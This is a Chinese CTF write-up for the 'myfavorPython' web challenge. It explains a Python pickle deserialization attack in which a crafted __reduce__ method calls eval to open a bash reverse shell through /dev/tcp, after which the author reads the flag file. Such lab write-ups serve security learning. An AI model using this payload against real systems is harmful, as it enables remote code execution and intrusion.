Web-myfavorPython--第二届黄河流域公安院校网络空间安全技能邀请赛

一、题目

题目:myfavorPython
题目描述：

二、WriteUp

1. 功能探测
访问http://127.0.0.1:5000/register
成功注册后

2. 思路：将序列化的字节流base64编码

import pickle
import os
import base64
import pickletools

cmd = "__import__(\"os\").popen('bash -c \"/bin/bash -i >& /dev/tcp/ip/port 0>&1\"').read()"

class A(object):
    def __reduce__(self): #反序列化时自动调用
        return (eval,(cmd,)) 
        #Python中的元组可以使用圆括号表示，并且可以通过在元素后面加上逗号来创建一个只有一个元素的元组。这种语法是为了区分括号内只有一个元素时，与普通的括号运算符混淆的情况。
        #在这里，(eval, (cmd,))是一个包含两个元素的元组。第一个元素是eval，指向eval()函数本身。第二个元素是一个包含单个元素cmd的元组，它被用作参数传递给eval()函数。
        #该元组传递给eval()函数，执行其中的代码 #子进程的输出交给read()
a=A()
b=pickle.dumps(a)   #序列化
print(base64.b64encode(b))
pickletools.dis(b)  #反汇编pickle数据流的函数

3. 拿到shell后直接cat flag.txt

三、总结

1. python反序列化学习参考链接
https://blog.csdn.net/weixin_62808713/article/details/130048382